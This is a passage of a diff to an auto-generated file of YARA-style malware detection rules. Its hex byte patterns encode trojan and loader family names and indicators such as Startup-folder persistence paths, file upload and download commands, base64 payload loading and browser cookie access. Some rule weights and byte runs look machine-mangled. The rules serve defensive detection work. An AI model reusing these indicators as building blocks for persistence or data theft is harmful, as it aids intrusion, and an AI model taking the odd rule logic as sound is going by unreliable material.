6f 6d 5f 4d 31 00 01 00 36 03 6e 00 63 00 6e 00 66 00 6c 00 6f 00 63 00 2e 00 64 00 6c 00 6c 00 90 2c 01 09 } //16675 $a_41_1 = {5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 5a 03 4e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 43 00 6f 00 6e 00 66 00 69 00 67 00 75 00 } //11568 $a_00_2 = {74 00 69 00 6f 00 6e 00 20 00 4c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 10 01 80 75 6e 85 c0 79 6a 66 41 83 38 0a 75 63 0f b7 01 00 09 01 80 75 29 85 c9 79 25 b9 01 01 00 10 01 2b d8 48 89 } //114 - $a_44_3 = {6c 24 40 83 c3 08 89 00 00 78 09 01 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 47 6f 6f 64 54 6f 6f 6c 73 65 74 5f 6d 73 } //9340 - $a_31_4 = {00 01 00 0f 01 5c 69 33 38 36 5c 48 65 6c 6c 6f 2e 70 64 62 01 00 31 03 4f 53 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 90 19 01 09 61 2d 7a } //12593 + $a_44_3 = {6c 24 40 83 c3 08 89 00 00 78 09 01 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 4a 4c 4b 21 4d 54 42 } //9340 condition: - ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_00_2 & 1)*114+(#a_44_3 & 1)*9340+(#a_31_4 & 1)*12593) >=3 + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11568+(#a_00_2 & 1)*114+(#a_44_3 & 1)*9340) >=3 } -rule _InfrastructureShared_16437{ +rule _InfrastructureShared_17514{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 4d 53 49 4c 2f 4c 61 7a 79 2e 4a 4c 4b 21 4d 54 42 00 02 00 70 01 07 16 9a 28 26 00 00 0a 6f 27 00 00 0a 72 a5 00 00 70 28 17 00 00 0a 2c 1f 72 af 00 00 70 72 cd 00 00 70 09 07 16 9a 72 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=4 + +} +rule _InfrastructureShared_17515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193343,7 +206239,7 @@ rule _InfrastructureShared_16437{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28626+(#a_00_2 & 1)*14637+(#a_00_3 & 1)*2424) >=4 } -rule _InfrastructureShared_16438{ +rule _InfrastructureShared_17516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193356,7 +206252,7 @@ rule _InfrastructureShared_16438{ ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*29192+(#a_25_2 & 1)*0+(#a_00_3 & 1)*-29690) >=4 } -rule _InfrastructureShared_16439{ +rule _InfrastructureShared_17517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193368,7 +206264,7 @@ rule _InfrastructureShared_16439{ ((#a_54_0 & 1)*18467+(#a_18_2 & 1)*4359+(#a_10_3 & 1)*2560) >=4 } -rule _InfrastructureShared_16440{ +rule _InfrastructureShared_17518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193379,7 +206275,7 @@ rule _InfrastructureShared_16440{ ((#a_54_0 & 1)*18467+(#a_01_3 & 1)*-28672) >=4 } -rule _InfrastructureShared_16441{ +rule _InfrastructureShared_17519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -193391,7 +206287,7 @@ rule _InfrastructureShared_16441{ ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*29806+(#a_72_3 & 1)*30208) >=4 } -rule _InfrastructureShared_16442{ +rule _InfrastructureShared_17520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -193404,7 +206300,7 @@ rule _InfrastructureShared_16442{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28516+(#a_01_3 & 1)*-1+(#a_81_4 & 1)*-1) >=4 } -rule _InfrastructureShared_16443{ +rule _InfrastructureShared_17521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -193416,7 +206312,7 @@ rule _InfrastructureShared_16443{ ((#a_46_0 & 1)*16675+(#a_79_2 & 1)*8827+(#a_00_4 & 1)*114) >=4 } -rule _InfrastructureShared_16444{ +rule _InfrastructureShared_17522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -193432,7 +206328,7 @@ rule _InfrastructureShared_16444{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*28788+(#a_6c_2 & 1)*12084+(#a_03_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=4 } -rule _InfrastructureShared_16445{ +rule _InfrastructureShared_17523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 15 00 21 " @@ -193454,7 +206350,7 @@ rule _InfrastructureShared_16445{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*261+(#a_b9_3 & 1)*1280+(#a_00_4 & 1)*16510+(#a_31_5 & 1)*-32511+(#a_74_13 & 1)*26369+(#a_46_14 & 1)*22066+(#a_09_15 & 1)*6544+(#a_2d_16 & 1)*31277+(#a_00_17 & 1)*121+(#a_00_18 & 1)*5+(#a_57_19 & 1)*19525+(#a_39_20 & 1)*385) >=4 } -rule _InfrastructureShared_16446{ +rule _InfrastructureShared_17524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -193467,7 +206363,7 @@ rule _InfrastructureShared_16446{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*7424+(#a_00_3 & 1)*0+(#a_54_4 & 1)*25959) >=5 } -rule _InfrastructureShared_16447{ +rule _InfrastructureShared_17525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -193480,7 +206376,7 @@ rule _InfrastructureShared_16447{ ((#a_46_0 & 1)*16675+(#a_45_2 & 1)*11776+(#a_00_4 & 1)*101+(#a_90_5 & 1)*11617) >=5 } -rule _InfrastructureShared_16448{ +rule _InfrastructureShared_17526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -193490,12 +206386,27 @@ rule _InfrastructureShared_16448{ $a_03_2 = {50 6a 01 6a 00 8d ?? ?? ?? 50 ff 15 ?? ?? ?? ?? 85 c0 ?? ?? 50 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 08 33 c0 5f 5e 5b 8b 4c 24 30 33 cc } //1 $a_03_3 = {33 d2 48 8d ?? ?? ?? 4c 8d ?? ?? ?? 48 89 44 24 20 48 8d ?? ?? ?? 44 8d 42 01 ff 15 ?? ?? ?? ?? 85 c0 } //1 $a_81_4 = {47 65 74 43 6f 6f 6b 69 65 49 6e 66 6f 46 6f 72 55 72 69 } //1 GetCookieInfoForUri - $a_09_5 = {01 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 52 52 41 30 39 31 31 21 4d 54 42 00 01 00 6e 01 43 3a 5c 55 73 65 72 73 5c 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 5c 44 65 73 6b 74 6f 70 5c 42 75 69 6c 64 65 72 42 6f 74 5c 42 75 69 6c 64 65 72 42 6f 74 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 73 74 75 62 } //0 + $a_09_5 = {01 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 72 6f 75 64 44 6f 6f 72 2e 42 21 64 68 61 00 01 00 09 01 48 61 73 20 6e 65 78 74 3f 01 00 11 03 65 78 69 74 00 90 02 05 63 6c 6f 73 65 00 00 90 00 01 00 08 01 67 65 74 5f 66 69 6c 65 01 00 08 01 70 75 74 5f 66 69 6c 65 01 00 96 01 55 00 73 00 65 00 72 00 73 00 5c 00 25 00 } //0 condition: ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*11573+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_81_4 & 1)*1+(#a_09_5 & 1)*0) >=5 } -rule _InfrastructureShared_16449{ +rule _InfrastructureShared_17527{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 68 72 6f 75 64 44 6f 6f 72 2e 42 21 64 68 61 00 01 00 09 01 48 61 73 20 6e 65 78 74 3f 01 00 11 03 65 78 69 74 00 90 02 05 63 6c 6f 73 65 00 00 90 00 01 00 08 01 67 65 74 5f 66 69 6c 65 } //16675 + $a_01_1 = {70 75 74 5f 66 69 6c 65 } //1 put_file + $a_01_2 = {55 00 73 00 65 00 72 00 73 00 5c 00 25 00 77 00 73 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 5c 00 25 00 77 00 73 00 } //1 Users\%ws\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\%ws + $a_01_3 = {25 73 5c 25 73 } //1 %s\%s + $a_09_4 = {01 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 52 52 41 30 39 31 31 21 4d 54 42 00 01 00 6e 01 43 3a 5c 55 73 65 72 73 5c 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 5c 44 65 73 6b 74 6f 70 5c 42 75 69 6c 64 65 72 42 6f 74 5c 42 75 69 6c 64 65 72 42 6f 74 5c 62 69 6e 5c 52 65 6c 65 61 73 65 5c 73 74 75 62 } //0 + $a_5f_5 = {72 69 76 5c 72 65 74 72 65 61 74 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 64 65 63 72 65 61 73 65 2e 70 64 62 01 00 0e 00 2f 00 2f 00 3a 00 70 00 74 00 74 00 68 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 1e 00 } //30044 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_09_4 & 1)*0+(#a_5f_5 & 1)*30044) >=6 + +} +rule _InfrastructureShared_17528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -193510,7 +206421,7 @@ rule _InfrastructureShared_16449{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*25956+(#a_44_2 & 1)*3072+(#a_61_3 & 1)*27758+(#a_65_4 & 1)*27489+(#a_6f_5 & 1)*384) >=6 } -rule _InfrastructureShared_16450{ +rule _InfrastructureShared_17529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -193526,7 +206437,7 @@ rule _InfrastructureShared_16450{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25972+(#a_74_2 & 1)*25193+(#a_00_4 & 1)*2424+(#a_48_6 & 1)*8448+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=6 } -rule _InfrastructureShared_16451{ +rule _InfrastructureShared_17530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -193536,13 +206447,13 @@ rule _InfrastructureShared_16451{ $a_78_2 = {6e 6f 79 72 64 76 75 69 76 71 64 6f 6b 6c 76 6d 71 76 70 2e 45 6a 6f 67 63 6d 62 79 6a 73 69 67 65 01 00 15 81 01 43 78 7a 71 70 6d 7a 68 77 68 68 78 69 68 71 6a 79 77 6f 6b 72 00 00 78 09 01 00 07 00 07 00 0a 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e } //385 $a_01_4 = {53 66 78 53 65 74 75 70 2e 65 78 65 01 00 0f 80 01 4f 70 65 6e 43 61 6e 64 79 20 6f 66 66 65 72 02 00 0e 80 01 4f 43 53 65 74 75 70 48 6c 70 2e 64 6c 6c 01 00 24 80 01 47 65 6e 75 69 6e 65 49 6e 74 65 6c 41 75 74 68 65 6e 74 69 63 41 4d 44 43 65 6e 74 61 75 72 48 61 75 6c 73 01 00 18 00 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 6c 6d 79 61 70 70 73 2e 63 6f 6d 01 00 2c 00 53 00 4f 00 } //3072 $a_00_5 = {57 00 41 00 52 00 45 00 5c 00 4f 00 70 00 65 00 6e 00 43 00 61 00 6e 00 64 00 79 00 5c 00 73 00 64 00 6b 00 01 00 07 80 01 43 41 4e 44 59 52 58 9c ff 0c 80 01 57 6e 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 } //70 - $a_69_6 = {73 74 61 6c 6c 2e 65 78 65 00 00 78 09 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 52 65 61 51 74 61 5f 54 68 72 65 61 74 5f 49 6e 74 65 6c 6c 69 67 65 6e 63 65 5f 54 65 61 6d 2f 41 50 54 5f 4d 41 4c 5f 46 75 6a 69 6e 61 6d 61 00 01 00 06 80 01 53 45 4c 45 43 54 01 00 05 80 01 52 49 47 48 54 01 00 04 80 01 48 45 4c 50 } //21761 - $a_80_7 = {57 49 4e 44 4f 57 53 } //WINDOWS 1 + $a_69_6 = {73 74 61 6c 6c 2e 65 78 65 00 00 78 09 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 49 30 31 21 4d 54 42 00 01 00 15 81 01 68 79 70 65 72 6c 75 73 74 72 6f 75 73 6e 65 73 73 2e 73 6b 72 01 00 16 81 01 6f 70 62 6c 61 6e 64 65 73 20 73 6f 63 69 61 6c 6c 6f 76 } //21761 + $a_01_7 = {00 12 81 01 63 72 79 70 74 6f 6c 6f 67 79 20 66 6c 61 67 65 74 73 01 00 09 81 01 73 6e 75 67 67 65 72 69 65 01 00 17 81 01 70 68 72 61 73 69 6e 67 73 20 68 61 72 64 74 61 63 6b 73 2e 65 78 65 01 00 1d 81 01 42 65 73 6b 79 74 74 65 6c 73 65 73 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 2e 6a 70 67 01 00 1f 81 01 66 6c 69 64 65 6e 73 5c 57 69 6e 67 } //28261 condition: - ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*13367+(#a_78_2 & 1)*385+(#a_01_4 & 1)*3072+(#a_00_5 & 1)*70+(#a_69_6 & 1)*21761+(#a_80_7 & 1)*1) >=7 + ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*13367+(#a_78_2 & 1)*385+(#a_01_4 & 1)*3072+(#a_00_5 & 1)*70+(#a_69_6 & 1)*21761+(#a_01_7 & 1)*28261) >=7 } -rule _InfrastructureShared_16452{ +rule _InfrastructureShared_17531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -193550,18 +206461,35 @@ rule _InfrastructureShared_16452{ $a_41_0 = {42 6c 6f 63 6b 3a 4f 70 65 6e 43 61 6e 64 79 00 01 00 0c 80 01 53 66 78 53 65 74 75 70 2e 65 78 65 01 00 0f 80 01 4f 70 65 6e 43 61 6e 64 79 20 6f 66 66 65 72 02 00 0e 80 01 4f 43 53 65 74 75 70 48 6c 70 2e 64 6c 6c 01 00 24 80 01 47 65 6e 75 69 6e 65 49 } //20515 $a_6c_1 = {75 74 68 65 6e 74 69 63 41 4d 44 43 65 6e 74 61 75 72 48 61 75 6c 73 01 00 18 00 68 74 74 70 3a 2f 2f 77 77 77 2e 61 6c 6c 6d 79 61 70 70 73 2e 63 6f 6d 01 00 2c 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4f 00 70 00 65 00 6e 00 43 00 61 00 6e 00 64 00 79 00 5c 00 73 00 64 00 6b 00 01 00 } //29806 $a_43_2 = {4e } //-32761 N - $a_58_3 = {ff 0c 80 01 57 6e 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 09 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 52 65 61 51 74 61 5f 54 68 72 65 } //22852 - $a_49_4 = {74 65 6c 6c 69 67 65 6e 63 65 5f 54 65 61 6d 2f 41 50 54 5f 4d 41 4c 5f 46 75 6a 69 6e 61 6d 61 00 01 00 06 80 01 53 45 4c 45 43 54 01 00 05 80 01 52 49 47 48 54 01 00 04 80 01 48 45 4c 50 01 00 07 80 01 57 49 4e 44 4f 57 53 01 00 0c 80 01 63 6f 6d 70 75 74 65 72 6e 61 6d 65 01 00 4b } //29793 - $a_6f_5 = {69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 53 56 31 3b 20 2e 4e 45 54 20 43 4c 52 20 32 2e 30 2e 35 30 37 32 37 29 01 00 15 80 01 } //384 - $a_2a_6 = {2c 47 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 01 00 06 80 01 74 5f 73 61 76 65 01 00 06 80 01 63 66 74 6d 6f 6e 01 00 06 } //10279 - $a_61_7 = {6f 6d 61 00 00 78 09 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 4f 21 4d 54 42 00 01 00 1a 81 01 5c 74 69 6c 73 6b 75 64 73 6f 72 64 6e 69 6e 67 65 72 5c 66 6f 62 69 65 72 73 01 } //384 - $a_01_8 = {5c 49 6e 69 74 69 61 6c 6f 72 64 5c 6c 6e 6b 6c 61 73 73 65 72 73 01 00 0a 81 01 61 6c 67 6f 72 73 2e 6d 65 64 01 00 0a 81 01 68 61 76 6e 65 6e 2e 6f 70 74 01 00 12 81 01 68 65 70 61 74 69 63 6f 6c 6f 67 69 73 74 2e 74 78 74 01 00 14 81 01 6d 65 6e 6e 65 73 6b 65 66 6f 72 61 67 74 65 6e 2e 69 6e 69 01 00 0e 81 01 72 65 6e 64 65 6d 61 73 6b 65 2e 6f 73 74 01 00 0d 81 01 73 65 72 72 61 } //5632 - $a_6e_9 = {62 61 67 01 00 0b 81 01 74 6f 70 72 61 69 6c 2e 6a 70 67 01 00 1a 81 01 5c 4b 69 64 64 65 72 6d 69 6e 73 74 65 72 5c 68 75 6c 6b 65 74 73 2e 69 6e 69 00 00 78 09 01 00 22 00 22 00 0b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 52 54 42 21 4d 54 42 00 14 00 2f 81 01 63 3a 5c 6d } //26996 + $a_58_3 = {ff 0c 80 01 57 6e 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 09 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 } //22852 + $a_61_4 = {65 72 2e 53 41 49 30 31 21 4d 54 42 00 01 00 15 81 01 68 79 70 65 72 6c 75 73 74 72 6f 75 73 6e 65 73 73 2e 73 6b 72 01 00 16 81 01 6f 70 62 6c 61 6e 64 65 73 20 73 6f 63 69 61 6c 6c 6f 76 65 6e 73 01 00 12 81 01 63 72 79 70 74 6f 6c 6f 67 79 20 66 6c 61 67 65 74 73 01 00 09 81 01 73 6e 75 67 67 65 72 69 65 01 00 17 81 01 70 68 72 } //19573 + $a_6e_5 = {73 20 68 61 72 64 74 61 63 6b 73 2e 65 78 65 01 00 1d 81 01 42 65 73 6b 79 74 74 65 6c 73 65 73 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 2e 6a 70 67 01 00 1f 81 01 66 6c 69 64 65 6e 73 5c 57 69 6e 67 65 72 6e 65 5c 50 6f 73 74 65 72 69 6e 67 74 65 6b 73 74 01 00 19 81 01 54 69 6c 6b 61 73 74 65 31 31 38 5c 69 6e 63 } //29537 + $a_65_6 = {75 65 6e 63 65 00 00 78 09 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 52 65 61 51 74 61 5f 54 68 72 65 61 74 5f 49 6e 74 65 6c 6c 69 67 65 6e 63 65 5f 54 65 61 6d 2f 41 50 54 5f 4d 41 4c 5f 46 75 6a 69 6e 61 6d 61 00 01 00 06 80 01 53 45 4c 45 43 54 01 00 05 80 01 52 49 47 48 54 01 00 04 80 01 48 45 4c 50 01 00 07 80 01 57 49 4e 44 } //28271 + $a_01_7 = {00 0c 80 01 63 6f 6d 70 75 74 65 72 6e 61 6d 65 01 00 4b 80 01 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 53 56 31 3b 20 2e 4e 45 54 20 43 } //22351 + $a_32_8 = {30 2e 35 30 37 32 37 29 01 00 15 80 01 27 28 29 2a 2b 2c 47 2d 2e 2f 30 31 32 33 34 35 36 37 38 } //21068 + $a_00_9 = {06 } //14905 condition: - ((#a_41_0 & 1)*20515+(#a_6c_1 & 1)*29806+(#a_43_2 & 1)*-32761+(#a_58_3 & 1)*22852+(#a_49_4 & 1)*29793+(#a_6f_5 & 1)*384+(#a_2a_6 & 1)*10279+(#a_61_7 & 1)*384+(#a_01_8 & 1)*5632+(#a_6e_9 & 1)*26996) >=7 + ((#a_41_0 & 1)*20515+(#a_6c_1 & 1)*29806+(#a_43_2 & 1)*-32761+(#a_58_3 & 1)*22852+(#a_61_4 & 1)*19573+(#a_6e_5 & 1)*29537+(#a_65_6 & 1)*28271+(#a_01_7 & 1)*22351+(#a_32_8 & 1)*21068+(#a_00_9 & 1)*14905) >=7 } -rule _InfrastructureShared_16453{ +rule _InfrastructureShared_17532{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 49 30 31 21 4d 54 42 00 01 00 15 81 01 68 79 70 65 72 6c 75 73 74 72 6f 75 73 6e 65 73 73 2e 73 6b 72 01 00 16 81 01 6f 70 62 6c 61 6e 64 65 73 20 73 6f 63 69 61 6c 6c 6f 76 } //18467 + $a_01_1 = {00 12 81 01 63 72 79 70 74 6f 6c 6f 67 79 20 66 6c 61 67 65 74 73 01 00 09 81 01 73 6e 75 67 67 65 72 69 65 01 00 17 81 01 70 68 72 61 73 69 6e 67 73 20 68 61 72 64 74 61 63 6b 73 2e 65 78 65 01 00 1d 81 01 42 65 73 6b 79 74 74 65 6c 73 65 73 70 72 6f 67 72 61 6d 6d 65 72 6e 65 73 2e 6a 70 67 01 00 1f 81 01 66 6c 69 64 65 6e 73 5c 57 69 6e 67 } //28261 + $a_65_2 = {50 6f 73 74 65 72 69 6e 67 74 65 6b 73 74 01 00 19 81 01 54 69 6c 6b 61 73 74 65 31 31 38 5c 69 6e 63 6f 6e 73 65 71 75 65 6e 63 65 00 00 78 09 01 00 0a 00 0a 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 52 65 61 51 74 61 5f 54 68 72 65 61 74 5f 49 6e 74 65 6c 6c 69 67 65 6e 63 65 5f 54 65 61 6d 2f 41 50 54 5f 4d 41 4c 5f 46 75 6a 69 } //29285 + $a_61_3 = {01 00 06 80 01 53 45 4c 45 43 54 01 00 05 80 01 52 49 47 48 54 01 00 04 80 01 48 45 4c 50 01 00 07 80 01 57 49 4e 44 4f 57 53 01 00 0c 80 01 63 6f 6d 70 75 74 65 72 6e 61 6d 65 01 00 4b 80 01 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 37 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 } //24942 + $a_31_4 = {20 53 56 31 3b 20 2e 4e 45 54 20 43 4c 52 20 32 2e 30 2e 35 30 37 32 37 29 01 00 15 80 01 27 28 29 2a 2b 2c 47 2d 2e 2f 30 31 32 33 34 35 } //13600 + $a_39_5 = {01 00 06 80 01 74 5f 73 61 76 65 01 00 06 80 01 63 66 74 6d 6f 6e 01 00 06 80 01 54 61 68 6f 6d 61 00 00 78 09 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a } //14134 + $a_57_6 = {6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 4f 21 4d 54 42 00 01 00 1a 81 01 5c 74 69 6c 73 6b 75 64 73 6f 72 64 6e 69 6e 67 65 72 5c 66 6f 62 69 65 72 73 01 00 16 81 01 5c } //28257 + $a_74_7 = {61 6c 6f 72 64 5c 6c 6e 6b 6c 61 73 73 65 72 73 01 00 0a 81 01 61 6c 67 6f 72 73 2e 6d 65 64 01 00 0a 81 01 68 61 76 6e 65 6e 2e 6f 70 74 01 00 12 81 01 68 65 70 61 74 69 63 6f 6c 6f 67 69 73 74 2e 74 78 74 01 00 14 81 01 6d 65 6e 6e 65 73 6b 65 66 6f 72 61 67 74 65 6e 2e 69 6e 69 01 00 0e 81 01 72 65 6e 64 65 6d } //28233 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28261+(#a_65_2 & 1)*29285+(#a_61_3 & 1)*24942+(#a_31_4 & 1)*13600+(#a_39_5 & 1)*14134+(#a_57_6 & 1)*28257+(#a_74_7 & 1)*28233) >=8 + +} +rule _InfrastructureShared_17533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -193579,7 +206507,7 @@ rule _InfrastructureShared_16453{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*-32764+(#a_49_3 & 1)*384+(#a_20_4 & 1)*19523+(#a_52_5 & 1)*21320+(#a_73_6 & 1)*25971+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_09_9 & 1)*0) >=10 } -rule _InfrastructureShared_16454{ +rule _InfrastructureShared_17534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -193597,7 +206525,7 @@ rule _InfrastructureShared_16454{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29537+(#a_6f_3 & 1)*385+(#a_6c_4 & 1)*23660+(#a_01_5 & 1)*2560+(#a_00_6 & 1)*66+(#a_42_7 & 1)*25601+(#a_36_8 & 1)*28277+(#a_00_9 & 1)*1) >=10 } -rule _InfrastructureShared_16455{ +rule _InfrastructureShared_17535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,22 00 22 00 0b 00 21 " @@ -193617,7 +206545,7 @@ rule _InfrastructureShared_16455{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*23653+(#a_01_2 & 1)*2560+(#a_61_3 & 1)*29779+(#a_00_4 & 1)*49+(#a_75_5 & 1)*11777+(#a_20_6 & 1)*8224+(#a_45_7 & 1)*8564+(#a_06_8 & 1)*-24437+(#a_00_9 & 1)*119+(#a_00_10 & 1)*111) >=34 } -rule _InfrastructureShared_16456{ +rule _InfrastructureShared_17536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -193628,7 +206556,7 @@ rule _InfrastructureShared_16456{ 